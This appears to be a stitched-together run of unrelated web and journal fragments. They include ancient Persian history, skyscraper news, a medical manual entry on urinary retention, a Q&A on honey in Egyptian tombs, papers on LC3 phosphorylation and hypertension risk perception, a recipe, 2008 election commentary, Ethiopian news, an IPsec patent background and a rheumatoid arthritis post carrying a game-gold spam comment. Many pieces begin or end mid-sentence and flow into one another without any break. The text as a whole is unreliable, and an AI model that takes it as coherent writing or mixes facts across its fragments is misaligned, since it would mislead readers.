kingdom themselves and restart hostilities. These were ruthless and ambitious grandees, but they genuinely believed that Darius's cause was lost. They would be patriots if possible. Otherwise they would look out for themselves. Nabarzanes laid the ground for their plan, turning to Darius and addressing him directly: "Temporarily transfer your authority and your command to another, who can carry the title of king only until the enemy quits Asia. When victorious, he can then return your kingdom to you." His intention was to raise

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in paradigm from'vertical' analysis of the role(s) of one or a few genes to 'horizontal' holistic approaches, studying the function of many or even all of the genes of an organism simultaneously. This change is leading us beyond genomes to transcriptomes, proteomes and metabalomes, and to an understanding of life at an entirely new level. Profiling strategies are putting this change into effect through the generation of large amounts of data, requiring that current bioinformatic approaches adapt and grow in order to make the most of these data.LONDON, England (CNN) -- Saudi Prince and billionaire Al-Waleed bin Talal says he will build the world's tallest building, planned to be over a kilometer (3,281 feet) high. The tower will be built in the Saudi town of Jeddah and will be part of a larger project that will cost $26.7 billion, (100 billion Saudi riyals) said the Prince's firm, Kingdom Holding Company. The planned Kingdom City project will be taller than Burj Dubai tower which is the world's tallest man-made structure. The project, entitled Kingdom City, will span 23 million square meters (248 million square feet) and will include luxury homes, hotels and offices. The booming city of Dubai in the United Arab Emirates has also joined the skyscraper race. While the ever-growing Burj Dubai is already the tallest man-made structure in the world, the Nakheel Tower is set to go even higher. Developers suggest the finished building will be at least 1 km tall. While in Europe, Paris is leading the skyscraper revolution -- plans for a 50-story building have been given the green light, which will make it the first skyscraper to be built in the city for 30 years. These buildings are part of a new generation of innovative, exciting skyscrapers set to appear all over the world over the next 10 years. Don't Miss While they may be mere midgets compared to the mega structures of the Middle East, Russia Tower in Moscow and the Okhta Center Tower in St Petersburg promise to provide some stunning eye candy. Spiraling its way through the Chicago skyline, the Chicago Spire will have a striking corkscrew design, while a gleaming Freedom Tower is to be the highlight of the rebuilt World Trade Center. And proving the skyscraper renaissance is a global phenomenon there are stylish giants planned for Panama, Pakistan and South Korea.Retention is most common among men, in whom prostate abnormalities or urethral strictures cause outlet obstruction. In either sex, retention may be due to drugs (particularly those with anticholinergic effects, including many OTC drugs), severe fecal impaction (which increases pressure on the bladder trigone), or neurogenic bladder in patients with diabetes, multiple sclerosis, Parkinson disease, or prior pelvic surgery resulting in bladder denervation. Urinary retention can be asymptomatic or cause urinary frequency, a sense of incomplete emptying, and urge or overflow incontinence. It may cause abdominal distention and pain. When retention develops slowly, pain may be absent. Long-standing retention predisposes to UTI and can increase bladder pressure, causing obstructive uropathy. Diagnosis Measurement of postvoid residual volume Diagnosis is obvious in patients who cannot void. In those who can void, incomplete bladder emptying is diagnosed by postvoid catheterization or ultrasonography showing an elevated residual urine volume. A volume < 50 mL is normal; < 100 mL is usually acceptable in patients > 65 but abnormal in younger patients. Other tests (eg, urinalysis, blood tests, ultrasonography, urodynamic testing, cystoscopy, cystography) are done based on clinical findings. Was This Page Helpful? Also of Interest Test your knowledge Pain originating in the kidneys or ureters is usually vaguely localized to the flanks or lower back and may radiate into the ipsilateral iliac fossa, upper thigh, testis, or labium. Which of the following is typically causes colicky, sometimes prostrating pain? MSD and the MSD Manuals Merck & Co., Inc., Kenilworth, NJ, USA (known as MSD outside of the US and Canada) is a global healthcare leader working to help the world be well. From developing new therapies that treat and prevent disease to helping people in need, we are committed to improving health and well-being around the world. The Manual was first published in 1899 as a service to the community. The legacy of this great resource continues as the Merck Manual in the US and Canada and the MSD Manual outside of North America. Learn more about our commitment to Global Medical Knowledge.Q: Have edible jars of honey been found in thousand-year-old Egyptian tombs? A recent xkcd contains the claim that honey has a shelf life that's so long that edible jars of honey have been found in Egyptian tombs several thousand years old. Image taken from http://www.xkcd.com/1717/, licensed under a CC BY-NC 2.5 license. The Smithsonian article in question appears to be The Science Behind Honey’s Eternal Shelf Life, which starts off with Modern archeologists, excavating ancient Egyptian tombs, have often found something unexpected amongst the tombs’ artifacts: pots of honey, thousands of years old, and yet still preserved. Through millennia, the archeologists discover, the food remains unspoiled, an unmistakable testament to the eternal shelf-life of honey. The Smithsonian article references SL Buchman and B Repplier's Letters from the Hive, and I'm unable to get hold of a copy, but the claim is quite extraordinary to be citing a book of that sort. A previous question on this site asked about the shelf-life of honey, but the answers there don't really address the thousand+ year timescale, even though the OP's source there also contains the claim that You could place it anywhere for thousands of years and it will not spoil. In fact, edible honey was found in ancient Egyptian Pharaoh King Tut’s tomb! Since xkcd has sort of left things hanging, I'd like for someone to take up Megan's track and show some more solid evidence either way for the claims of edible honey in Egyptian tombs. In particular, if the claim is true, then my feeling is that the must be credible reports in the archaeology literature, so those would be nice to see. (If it's false, on the other hand, then it may be harder to debunk.) A: Evidence for it seems to be lacking. This is the closest I've found to an exploration of the sources and the most likely source for the claim is the 1907 account of explorer Theodore Davis regarding the Tomb of Yuya and Tjuyu (emphasis mine): From the neck of one of the vases hung shreds of mummy-cloth which had originally covered the mouth of the vase. Evidently the robber, expecting the contents to be valuable, tore off the cloth. Three thousand years thereafter I looked into the vase with like expectation; both of us were disappointed, for it contained only a liquid which was first thought to be honey, but which subsequently proved to be natron. Combined with the finding of jars in Tutankhamen's tomb that bore the sign for honey, and later research with analysis of stains on the inside of jars showing that they once contained honey (best link I've found so far is of a Georgian dig which actually predates the Egypt finds), you get the factoid of "liquid honey was found in the tombs and was still edible". Spectral characteristics of skin temperature indicate peripheral stress-response. High-resolution measurement of skin temperature in 11 normal subjects revealed low-amplitude temperature oscillations (40 x 10(-3) degrees C). The temperature signal measured on two hands during baseline, stress, and recovery periods, was filtered to separate the low-amplitude oscillations from the temperature signal. Spectral analysis of the filtered signal showed that most of the energy of the signal is in a range of 0.01 to 0.03 Hz. Frequency shifts and amplitude changes of the largest component were observed in response to mental stress. In subjects with high baseline values of either of these two variables, a decrease was observed in response to stress. An opposite response was observed in subjects with significantly lower baseline levels. Stress-related changes in peak frequency ranged from -25% to +18.2%; changes in peak amplitude ranged from -74.6% to +280%. Changes in the mean temperature were limited to 2.4%. Thus, the oscillatory component showed higher sensitivity to psychological stress than mean temperature. The spectrum of this component was compared to the spectrum of the blood pressure waves measured noninvasively. Both exhibited similar dynamics of energy, peak amplitude, and peak frequency in response to psychological stress. This similarity suggests that the oscillatory temperature component reflects stress-related changes of peripheral vasomotor activity.Steps In large food-storage plastic bag, mix granulated sugar and pumpkin pie spice. Separate each can of dough into 8 biscuits; cut each biscuit into quarters. Place 6 to 8 biscuit pieces in sugar-spice mixture; shake well. Continue to add more biscuit pieces to sugar-spice mixture until all are completely coated. Place biscuit pieces in pan. Expert Tips Flavor boost—For extra pumpkin flavor, double the butter and brown sugar. Add an additional 1/2 cup of pumpkin and save 1 cup of the pumpkin-caramel mixture to drizzle over your warm bread as

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Recombinant LC3 was incubated with ATP in the presence and absence of PKA. In the presence of PKA and ATP, the m/z 821.33 ion is lost with the appearance of an m/z 901.41 ion. (f) Mutation of the LC3 phosphorylation site to S12A abolishes PKA phosphorylation of LC3. (g) Immunoblot of cortical neurons treated with forskolin or DMSO (vehicle) probed with phospho-specific LC3 antibody, total LC3 antibody (LC3-nt), and lamin antibody as a loading control.](JCB_201002108_RGB_Fig3){#fig3} We used matrix-assisted laser desorption/ionization (MALDI) time of flight (TOF) mass spectrometry (MS) to identify the PKA phosphorylation site on LC3. Analysis of the MS1 spectra revealed a singly charged peptide \[M^+^H\]^+^ ion signal at m/z 821.33 ([Fig. 3 d](#fig3){ref-type="fig"}) that was lost from samples treated with PKA, accompanied by the appearance of a new peptide \[M^+^H\]^+^ ion signal at m/z 901.41, corresponding to the predicted 80 D gain of a phosphate group ([Fig. 3 e](#fig3){ref-type="fig"}). Alkaline phosphatase treatment of PKA-phosphorylated LC3 eliminated the ion signal at m/z 901.41 (unpublished data). Tandem MS/MS analysis identified the m/z 901.41 ion as residues 8--13 containing a phosphorylation at serine 12 ([Fig. S2 a](http://www.jcb.org/cgi/content/full/jcb.201002108/DC1)). To confirm that serine 12 was the PKA phosphorylation site, mutagenesis of serine 12 to alanine (S12A) abolished LC3 phosphorylation by PKA ([Fig. 3 f](#fig3){ref-type="fig"}). Custom antibodies generated to the phosphorylated peptides effectively labeled PKA-phosphorylated recombinant LC3 (Fig. S2 b) and endogenously phosphorylated LC3 in SH-SY5Y and cortical neurons but not in the presence of the immunizing peptide (Fig. S2 c). Endogenously phosphorylated LC3 was further increased by treatment with forskolin to stimulate PKA ([Fig. 3 g](#fig3){ref-type="fig"}). We investigated whether endogenous LC3 phosphorylation was regulated by rapamycin or MPP^+^, two stimuli that induce increased autophagic flux ([@bib4]; [@bib28]). Treatment with either rapamycin or MPP^+^ led to a reduction in phospho-LC3 as compared with vehicle-treated cells ([Fig. 4, a and b](#fig4){ref-type="fig"}) with no significant change in levels of LC3 probed using an antibody raised against a C-terminal region epitope of mature LC3 distant to the phosphorylation site (LC3). These results suggest that LC3 is dephosphorylated during autophagy induction. Blots reprobed using the N-terminal antibody for LC3 revealed the expected increase in LC3-II caused by rapamycin. Endogenously phosphorylated LC3 comigrated with nonlipidated forms of LC3 ([Fig. 3 g](#fig3){ref-type="fig"} and Fig. S2 c). To determine whether loss of phosphorylation was sufficient to increase the number of GFP-LC3--positive AVs, we transfected cells with a nonphosphorylatable mutant, GFP-LC3--S12A. Under basal conditions, GFP-LC3--S12A migrated predominantly as a lipidated LC3-II band, forming more puncta than GFP-LC3--wild type (WT; [Fig. 4, c and d](#fig4){ref-type="fig"}), indicating that phosphorylation of LC3 regulates its incorporation into AVs. ![**LC3 dephosphorylation is associated with enhanced recruitment to autophagosomes.** (a and b) Immunoblots of SH-SY5Y cells treated with rapamycin for 1 h (a) or MPP^+^ for 24 h (b) were probed using the phospho-specific antibody, a C-terminal LC3 antibody (LC3), an N-terminal LC3 antibody (LC3-nt), and GAPDH as loading control. (c) Immunoblotting of SH-SY5Y cells expressing GFP-LC3--WT or --S12A reveals that a greater fraction of GFP-LC3--S12A migrates as LC3-II. (d) Quantification of GFP-LC3 puncta in SH-SY5Y cells expressing GFP-LC3--WT or --S12A. \*, P = 0.023 versus WT neurite; \*\*, P = 0.014 versus WT soma; \*\*\*, P = 0.003 versus WT total (*n* = 100--115 cells/condition). Error bars indicate mean ± SEM.](JCB_201002108_GS_Fig4){#fig4} We determined whether dephosphorylation contributed to autophagy induction using the S12D phosphomimetic mutant in cells treated with rapamycin. The S12D mutation reduced the number of GFP-LC3 puncta in rapamycin-treated cells ([Fig. 5, a and b](#fig5){ref-type="fig"}). Similarly, the S12D mutant formed significantly fewer puncta in cells expressing LRRK2 G2019S or in cells treated with MPP^+^ ([Fig. 5, c and d](#fig5){ref-type="fig"}). Furthermore, the autophagy-related neurite shortening caused by LRRK2 G2019S or MPP^+^ was attenuated by the S12D mutation in SH-SY5Y cells and cortical neurons ([Fig. 5, e--h](#fig5){ref-type="fig"}). Collectively, the data indicate that LC3 phosphorylation by PKA suppresses induced autophagy and autophagic neurite degeneration elicited by LRRK2 G2019S and MPP^+^. ![**LC3 phosphomimic shows reduced recruitment and suppresses neurite degeneration.** (a and b) SH-SY5Y cells expressing GFP-LC3--WT or --S12D treated with rapamycin or vehicle for 1 h. Quantification of GFP-LC3 puncta. \*, P = 2.31 × 10^−8^ versus vehicle/WT; \*\*, P = 0.004 versus rapamycin/WT (*n* = 70--80 cells/condition). (c) Quantification of GFP-LC3 puncta in SH-SY5Y 48 h after transfection. \*, P = 0.001 versus empty vector/GFP-LC3--WT; \*\*, P = 0.025 versus LRRK2 G2019S/GFP-LC3--WT (*n* = 100--115 cells/condition). (d) Quantification of GFP-LC3 puncta in SH-SY5Y cells treated with MPP^+^ or vehicle for 48 h. \*, P = 0.026 versus vehicle/WT; \*\*, P = 0.043 versus MPP^+^/WT (*n* = 85--95 cells/condition). (e) Quantification of neurite lengths from SH-SY5Y cells 48 h after transfection. \*, P = 6.37 × 10^−4^ versus empty vector/WT; \*\*, P = 0.008 versus LRRK2 G2019S/WT (*n* = 100--115 cells/condition). (f) Quantification of neurite lengths from SH-SY5Y cells treated with MPP^+^ or vehicle for 48 h. \*, P = 3.58 × 10^−8^ versus vehicle/WT; \*\*, P = 3.74 × 10^−4^ versus MPP^+^/WT (*n* = 85--95 cells/condition). (g and h) Quantification of neurite length and branch points in cortical neurons coexpressing either GFP-LC3--WT or --S12A with empty vector or LRRK2 G2019S. \*, P \< 0.01 versus empty vector/WT; \*\*, P \< 0.036 versus LRRK2 G2019S/WT (*n* = 30--40 cells/condition). Error bars indicate mean ± SEM. Bars, 20 µm.](JCB_201002108_GS_Fig5){#fig5} This study identifies a new phosphorylation site on LC3 that reduces its recruitment and participation in autophagy. To our knowledge, this represents the first example of phosphorylation-based regulation of this important autophagy effector, whose recruitment represents the convergence point for several pathways of autophagy induction ([@bib8]). As autophagy has been implicated in a growing number of human diseases, it has become clear that a fine balance of autophagy underlies healthy mammalian physiology. Phosphorylation-based regulation of autophagy has thus far centered on the nutrient-sensing target of rapamycin--Atg1 regulatory axis, whereas loss of inhibitory mechanisms in the phosphoinositide 3-kinase--beclin 1 pathway have been implicated in hereditary myopathies and pathological cell death ([@bib28]; [@bib17]; [@bib21]). This study implicates components of the ubiquitin-like lipidation system itself as a third potential point of autophagy down-regulation capable of suppressing autophagy induced by metabolic or pathological stimuli. Other autophagy effector proteins may also be subject to phosphoregulation, linking autophagic responses to cellular injury and stress signals. In yeast, recent studies indicate a nutrient-sensing role for PKA as a parallel pathway to target of rapamycin in suppressing autophagy, with phosphorylation of the kinase Atg1 as a convergence point ([@bib25]; [@bib19]). There was no effect on Atg1 kinase activity, but phosphorylation inhibited localization to the preautophagosomal structure ([@bib4]). Although a corresponding preautophagosomal structure has not

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did not seek further feedback from participants on the transcripts, other than seeking clarification of any unclear points during the course of the interview. The transcripts were analysed using thematic analysis as described by Ziebland and McPherson.[@R19] This is a form of grounded theory, where analytical categories are developed inductively from the data, rather than defined beforehand. Specifically, the interview transcripts were coded line-by-line using Dedoose, a qualitative research web application.[@R20] Codes were developed iteratively; new codes were added as needed to describe the interview data. Finally, these reports were used to produce a final analysis, in which connections and groupings between codes can be made, and overarching themes understood. Ziebland and McPherson describe this as the *one sheet of paper* (OSOP) method, in which the issues from report texts are identified in depth and written down on a single (often large) sheet of paper together with a participant identifier.[@R19] The researcher can place themes in closer proximity to others that appear to be related. By doing this iteratively, a map of the themes develops, and lines can be drawn in to represent the connections. The output of this stage is a map of concepts and their relationships, from which the supporting evidence (the relevant text snippets) may be retrieved. In practice, IJM coded the interview transcripts. CM separately coded a sample, and the coding scheme was discussed and revised in regular meetings of IJM, CM and CDAW over the course of the data collection. It was at these meetings that the decision about data saturation was taken. The OSOP method was done initially by IJM, then refined following discussion with CM and CDAW. Results {#s3} ======= Characteristics of participants {#s3a} ------------------------------- Twenty-four interviews were conducted; a description of participants' characteristics is given in [table 1](#T1){ref-type="table"}. Participants had diverse occupations, including engineers, cleaners, health professionals, teachers and manual labourers. FIfteen of 24 participants had retired from employment. Participants were aged from 51 years to 90 years, with 46% male. Fifty-four per cent were born in the UK, while the remainder were born in Africa (21%), the Caribbean (13%), France, Ireland and the USA (one participant each (4%)). Self-reported ethnicity was 54% white British, 13% white other, 21% black African and 13% black Caribbean. Participants had received a hypertension diagnosis between 2 months and 33 years prior to the interview. Twenty-two participants were prescribed regular medication with widely varying reported patterns of medication taking (ranging from participants who took medication regularly without fail to those who took it rarely, or when it was perceived as needed). One participant had taken medication previously but decided to stop, and one participant was considering whether to start medication following a recent meeting with her doctor. ###### Characteristics of participants Interviewee code Practice Age category Sex Ethnicity Time since diagnosis ------------------ ---------- -------------- ----- ----------------- ---------------------- A 2 70--80 M White British 5 years B 2 60--70 F White US 3 months C 1 50--60 M White British 19 years D 1 60--70 F White British 12 years E 2 60--70 M Black Caribbean 15 years F 1 70--80 M White British 5 years G 1 60--70 M White British 3 years H 1 80+ M White British 33 years I 2 60--70 M White British 3 years J 1 80+ M White British 6 years K 1 60--70 F White French 15 years L 1 70--80 M Black African 30 years M 2 50--60 F Black African 6 years N 1 70--80 F White British 5 years O 1 50--60 F Black Caribbean 2 months P 1 70--80 F White British 10 years Q 1 70--80 F White British 30 years R 2 60--70 F Black Caribbean 15 years S 2 70--80 F White British 7 years T 2 70--80 M Black African 33 years U 2 70--80 F White African 20 years V 2 60--70 F Black African 2 years W 2 80+ M White British 20 years X 2 70--80 F White Irish 20 years F, female; M, male. Thematic analysis {#s3b} ----------------- We summarise our findings as a lay model of risk understanding, as shown in [figure 2](#F2){ref-type="fig"}. Our key finding was that CVD risk probabilities were often understood from an *individual* perspective (rather than, as intended, population probabilities). This led to understandings of risk presentation that widely differed from their intended meaning. Perspectives on risk were informed by participants' understanding of the causes of hypertension and CVD, and often through seeing CVD as a sudden, unpredictable and fatal event. Many participants avoided contemplating future CVD risk, as they found it unpleasant, pointless, that it was not a priority in the context of advancing age or other illness or preferred to focus on positive aspects of life. For those who did engage with risk discussion, risk information was interpreted in a number of unexpected ways. Many participants did not identify with the reference population. For some, risk estimates would not take sufficient account of factors they felt to be important (including both factors ignored by the models and factors not accorded sufficient weight). Some participants felt that since no two individuals could ever be the same, population probabilities could never make sense. Others identified with either the affected or unaffected portion of the fraction. Conversely, peer comparison was widely used by participants and appeared to be an acceptable and meaningful way of discussing risk. These themes are presented in detail below. ![A lay model of cardiovascular risk. CVD, cardiovascular disease.](bmjopen-2018-023726f02){#F2} Causes and consequences of hypertension {#s3c} --------------------------------------- Most of the participants explained their hypertension by way of conventional biomedical risk factors; the majority mentioned one or more of advancing age, obesity, a family history, poor diet and lack of exercise as contributing. These factors were widely described as causative of high blood pressure but as causative of complications of high blood pressure. Several participants who were born outside of the UK attributed their hypertension to their new environment. Many participants identified that stress contributed to their hypertension. For some of these participants, stress was regarded as highly important, and for several, it was regarded as the primary cause of hypertension. For several participants, a stressful life event was considered to be a trigger for hypertension starting. A wide variety of consequences of having high blood pressure were described by participants; these could be broadly grouped as cardiovascular consequences and somatic consequences. Most of the participants described the possibility of developing an illness due to high blood pressure, particularly if not controlled, including stroke, heart attack and kidney disease. Several participants described complications as being sudden, unpredictable and severe; many reported sudden death as an important consequence of untreated hypertension. Several others described sudden increases in blood pressure as harmful, as illustrated by the following two quotes: > Well I mean I think it can be sort of damaging for the heart as, you know, if it really goes high. And I mean you could get a stroke, you know, a number of things really. (Interview Q) > At one point, it was extremely high, I borrowed my neighbours cuff, whatever you call it...sphyg... and er, the systolic was over 200 and I got a little frightened... (Interview D) Several participants described physical sensations they attributed to raises in blood pressure: these included headache and breathlessness. One participant, who attributed physical symptoms to an acute increase in blood pressure, described how the absence of physical symptoms was an important marker of good control. > I am very careful about it, I have no problem with the blood pressure. If I feel that my head will explode. I relate it with the blood pressure, the only thing I do is I sit down and relax. I breathe deeply, and then with the relaxation it's finished, it's happened one in three months no more. (Interview K) Attitudes towards future risk {#s3d} ----------------------------- A large portion of the interview comprised discussion about perceptions of risk. Participants were asked both if they had thought about this previously and also asked whether they considered themselves likely or unlikely to develop a complication of hypertension in future. However, around half of participants did not provide any sort of estimate of whether they would be at risk of hypertension complications themselves, even after prompts. Many participants expressed a desire to avoid contemplating future risk of disease, including both younger and older participants. Key reasons expressed by participants included: finding the consideration of future serious illness unpleasant or stressful; perceiving that looking at future risk did not make sense due to old age; and having other active health problems that

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They’re sort of a wonderous happening when they come with your baby. The “boy thing” just works itself out with a little help from the hospital staff….and instinct. I learned that when my grandsons were born. You’ll be a star within hours. Trust me. Just like you are as a food blogger! I pretty much feel ya though, I’m a bit ways away yet. I’m 23 weeks today/ 5 months, almost 6 months. My back hurts a lot today and I’m just feeling more and more tired. We haven’t even begun the nursery yet. I have paint samples picked out and ideas galore, but I can’t help but freak a little. I adore a good pulled pork sandwich and freezer meals are the best! Try to relax…I know, easier said than done! Congrats on baby boy! Made the mistake of taking a drink of water right as I read your line about dudes walking around with those things. Definitely choked and sent myself into a coughing fit, eliciting a raised eyebrow from Alex. You’re hilarious. You’re going to be a totally awesome mom, and you’ll figure it all out (though I grew up with brothers and live with a boy now and I still don’t totally get the male species… but they’re pretty low-maintenance ;)). This pulled pork really does look perfect! This looks super tasty! I need to start stocking my freezer(I still have 13 weeks until my baby girl is estimated to arrive). I feel like I have absolutely nothing ready yet(besides the baby room being painted). I’m glad my first will be a girl, because I agree with you, Ijust don’t know how boys work. I’m sure you’ll be an awesome mom though, especially with so many awesome recipes to feed a growing boy! I have to admit, I have no idea what this is like, but I have a feeling your’e going to do just fine. Even if there is pee and spit up involved. Love having quick meals like this in my recipe box. I’d make the full batch then repurpose the leftovers. Thanks for sharing!January 20, 2008 ... Mitt Romney won the largely uncontested Nevada caucuses, giving him at least the claim of having won two contests in a row. On a more practical and potentially more meaningful level, he also captured more delegates on Saturday than Mr. McCain did. ... [McCain's] first two victories came in New Hampshire and South Carolina, where independents, who often seem more enthusiastic about Mr. McCain than members of his party do, are permitted to vote in the primaries. The terrain from here is markedly different, starting Jan. 29 in Florida, where the Republican primary is open only to Republicans. “He still has significant skepticism that he has to overcome in the Republican base,” said Gary L. Bauer, who sought the Republican presidential nomination in 2000 and is not endorsing anyone at this time. “The real test will be how well he can secure the Republican base as we head toward Super Tuesday.” Mr. Bauer added, “On balance, in most states, to get the nomination you’ve got to do very well among registered Republicans, and that is going to become increasingly important as other candidates drop out of the race.” An exit poll in South Carolina offered evidence of the challenge Mr. McCain faces: 8 in 10 of the voters in the primary described themselves as Republicans, and just 3 in 10 of them voted for Mr. McCain. The finding suggests what Mr. McCain’s rivals were saying Saturday night: that he might not have won without the help of voters outside his party. With John McCain's victory tonight, we've finally achieved that belated winnowing. In one quick burst, McCain has effectively knocked Mike Huckabee, Fred Thompson, and Rudy Giuliani from the race: Huckabee because it's not clear where he wins if he can't do it in as demographically favorable a state as South Carolina. (Fifty-nine percent of voters today were evangelicals; Huckabee only won them by a 40-27 margin over McCain.) Rudy because it's hard to see why anyone would perfer him to McCain going forward; both appeal to moderate, security-minded Republicans and McCain is the only one who hasn't been a disaster of late. And Thompson's finished--as if it needed to be said--because even he'd conceded this was his last chance to reverse a debilitating six-month slide. (One interesting sidenote: Huckabee's under-performance among evangelicals probably had something to do with the 15 percent of them Thompson picked off. I have a feeling that won't be Fred's last gift to McCain in this race...) This is clearly a McCain-Romney race going forward. Romney has the money and may still be the establishment choice over McCain, who's widely disliked in elite GOP circles. The benefit of the latter will be, among other things, to dampen the fundraising boost McCain should receive from South Carolina. 25 comments: please remember that this is the same state that sent Strom Thurmond to Washington for half a century. There is a large portion of the State composed of northerners who have escaped the cold and taxes to live there and there are distinctly different demo/geo/psychographic areas. CNN was breaking that apart last night as the results were coming in but they were not of much help when I fell asleep. Unemployment is well over 6% there and minorities are particularly hard hit and I presume a lot of them are so far off the unemployment rolls as to not be counted. I say that only because so much was made overnight of that figure and how it might now be the economy rather than Iraq that draws the focus. Agree with HD that this is going to be one strange election. I dont think there is a front runner on either side yet, and it wont be until Feb 5 where we might see some favorites emerge. I am increasingly thinking both conventions may end up brokered. Of course, with the media horserace mentality, they arent focusing on delegate count which is the only figure that means anything with respect to the nominations. Clinton and Romney lead those. "The finding suggests what Mr. McCain’s rivals were saying Saturday night: that he might not have won without the help of voters outside his party." It seems to me that it might actually be a GOOD thing to promote a candidate that can draw votes from outside the party... but I'm not holding my breath that Republicans will actually employ this strategy anytime soon. "An exit poll in South Carolina offered evidence of the challenge Mr. McCain faces: 8 in 10 of the voters in the primary described themselves as Republicans, and just 3 in 10 of them voted for Mr. McCain. The finding suggests what Mr. McCain’s rivals were saying Saturday night: that he might not have won without the help of voters outside his party." Rivals were saying that, were they? Glad to see the reporter is immune to spin. Or is he? According to the exit poll (which has a margin of error), Huckabee won among Republican voters by a single percentage point over McCain. A poll showing a single point lead in either direction is generally considered a dead heat. So if McCain has a problem because only 3 of 8 Republican voters chose him, Huckabee has a problem because only 3 of 8 Republican voters chose him, and Romney has a problem because only 3 of 16 Republican voters chose him, and Thompson has a problem because only 3 of 16 Republican voters chose him, and Paul and Giuliani have a problem because only 1 in 50 Republican voters chose each of them. I always thought that the first African American or female president would be a Republican, a Maggie Thatcher or a Colin Powell who campaigned and won on something other than identity. Now it looks like a Democratic year. The Republican elites so hate their best candidate that they'd rather try with either a creationist economic illiterate from Arkansas of all places or a pandering flip-flopper from Massachusetts of all places (or is it New Hampshire or Michigan or Utan?). I believe you are being more than prescient. I believe it will get even stranger. But, no matter what we think, who we support or detest, and what issues are important to us, this will be one of the most interesting elections in my lifetime. Who would think that elections are now a major form of entertainment, evolving or devolving into the realm of reality shows. McCain is the best bet to beat Hillary because of those crossover votes coupled with the large antiHillary factor which will get republicans off their duffs to vote. If Obama is the Dem nominee, a lot of Republicans will stay home and he will win. Not mentioned now is teh McCain age/ health issue, and the importance of his VP. Melanoma survivors tend to go quickly when the disease recurs. The odds might be as high as one in four that he wouldn't finish his first term and one in two of making it to 80 in 2017. If he had the right VP, he could abdicate in 2013 if things are going well, and retire if not. It will be curious to see when this subject is first breached in teh campaign. Looking solely at the numbers, McCain does have alot of things going for him. His current upswing is quite impressive. Here is a chart comparing all of the major Republican candidates in the polls... McCain is the only consistently going up right now. The media is waaaaay in the tank for

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anos, Umed, Fuad, Yusuf and goal keeper Sisay Bancha who were warming bench on last 2 games. Disclaimer: We are not responsible for any losses or damages that may have caused by using our services. EMF declines all responsibility for the contents of the materials stored by users. Each and every user is solely responsible for the posts. Posted by ethioforum on January 27, 2013. Filed under NEWS. You can follow any responses to this entry through the RSS 2.0. You can leave a response or trackback to this entry By D. K. Bimrew Per the 2007 Population and Housing Census, Amhara is the second largest ethnic groups in Ethiopia. Mostof the Amhara population lives in Godner, Gojjam, Wollo and Shewa provinces. However, due to historical reasons significant number of Amhara people are distributed throughout Ethiopia which makes the most… For Immediate Press Release on the current alarming state of Ethiopia Center for Rights of Ethiopia Women (CREW) is deeply concerned with the current state of affairs in Ethiopia. Since the government declared a state of emergency in October, thousands of men, women and particularly young people including journalists, opposition… (IAAF) — Jamaica’s Usain Bolt and Ethiopia’s Almaz Ayana have been named the male and female World Athletes of the Year at the IAAF Athletics Awards 2016, held at Sporting Monte Carlo on Friday. Bolt, who won the award five times between 2008 and 2013, added to his legacy by… Nairobi, November 17, 2016–Ethiopia should immediately release all journalists detained amid an intensifying crackdown on the media, the Committee to Protect Journalists said today. In recent weeks, Ethiopian authorities have jailed a newspaper editor, as well as two members of the award-winning Zone 9 bloggers’ collective, which has faced continuous… (Reuters) — The BBC said on Wednesday that its World Service will begin broadcasting in 11 additional languages in a drive to reach millions more people, including in places like North Korea where impartial news is hard to get. The World Service started out in 1932 as a radio channel… By Abbaa Ormaa All is not lost for the Atlanta Oromo Leadership Convention. Regardless of whether it is a success or a failure, depending on where one stands on the Oromo political spectrum, it is yet more evidence that the Oromo struggle for justice and fairness has entered a new…In networking environments that include devices or nodes coupled to a network, various methodologies are used to establish and maintain a secure network connection. These networks may include, but are not limited to, wired or wireless local area networks (LAN/WLAN), wide area networks (WAN/WWAN), metropolitan area networks (MAN), personal area networks (PAN) and cellular or wireless broadband telephony networks. One example methodology used on these types of networks to establish and maintain a secure network connection uses an industry standard that is based on Internet communication protocols. This industry standard is the Internet Engineering Task Force, Network Working Group, Request for Comments: 4301, Security Architecture for the Internet Protocol, published December 2005 (“the IPsec standard”). An other related industry standard describes ways to encapsulate encrypted data exchanged between nodes on a secure network connection that is maintained according to the IPsec industry standard. This other industry standard is the Internet Engineering Task Force, Network Working Group, Request for Comments: 4303, IP Encapsulating Security Payload (ESP), published December 2005 (“the ESP standard”). Further, numerous cryptographic algorithms and modes to implement those cryptographic algorithms are part of a secure network connection when implementing IPsec and ESP. Cryptographic algorithms may include, but are not limited to, the Advanced Encryption Standard (AES), and the Triple Data Encryption Standard (3DES). Modes to implement AES or 3DES may include, but are not limited to Cipher Block Chaining (CBC) and Counter (CTR) modes. Implementing IPsec and ESP to exchange data over a secure network typically requires an increasing amount of node resources as the rate that data is exchanged on a secure network connection increases. These node resources need to encrypt transmitted data and decrypt received data at ever increasing rates with ever increasing efficiency. The way the data is encrypted and decrypted likely varies based on the cryptographic algorithm and mode to implement the cryptographic algorithm. Typically, as part of a process described by the IPsec standard as an IPsec security association, nodes negotiate the cryptographic algorithm and mode and come to an agreement on which to use to exchange data. As mentioned above, this may include one of several different cryptographic algorithm and mode combinations.By Lene Andersen. Health care writer, RA and disability advocate, wheelchair user and camera nut. Author of Your Life with Rheumatoid Arthritis: Tools for Managing Treatment, Side Effects and Pain Tuesday, August 07, 2012 RA2day: An Awareness Campaign for Rheumatoid Arthritis I'm very excited to share this news. Today, RAHealthCentral has launched a new awareness campaign for RA called RA2day. It's got real potential to pull us all together and give a realistic view of what it's like to live with RA: "What does your experience with RA look like today? Is it an intimidating pile of medication, a swollen joint or testing a new mobility aid? Is it playing with your kids in the backyard, getting back into a kayak or baking a cake? Are you having a good day or a bad one? What do you want the world to know about RA? What do you want others with the disease to know about what is possible? We are excited to announce the launch of RA2day, an awareness campaign for rheumatoid arthritis! We hope that it will help increase knowledge about RA - what it is, what it isn't and what it can be." You can read the rest of the launch post here and see my first RA2day post on the RAHealthCentral Facebook page here. Please join us in raising awareness about RA! 1 comment: Anonymous said... Do you thinkBuy Diablo 3 gold you're creating a very good day or a terrible a single? Give me an idea the entire world to understand RA? Give me an idea other individuals while Billig Gw2 Gold using disease comprehend what's probable? macro 💩 { rule infix { $left | $right } => { $left == $right } } let == = macro { case { $ctx } => { throwSyntaxError("== is not allowed", #{$ctx}); } } export 💩 export == In fact, at1Entity we are getting some study cases ready, to publish them in the following weeks. 2. Tutorials and educative content Don’t be afraid to post tutorials on your company’s blog. Yes, you might show your consumers how you get some things done, but more importantly, other than making them depend on you or your company you will be gaining credibility. Besides, you won’t tell them everything. In fact, here, at 1Entity we’ve been taking advantage of this kind of content, by regularly sharing a tutorial that my coworker David Castillo 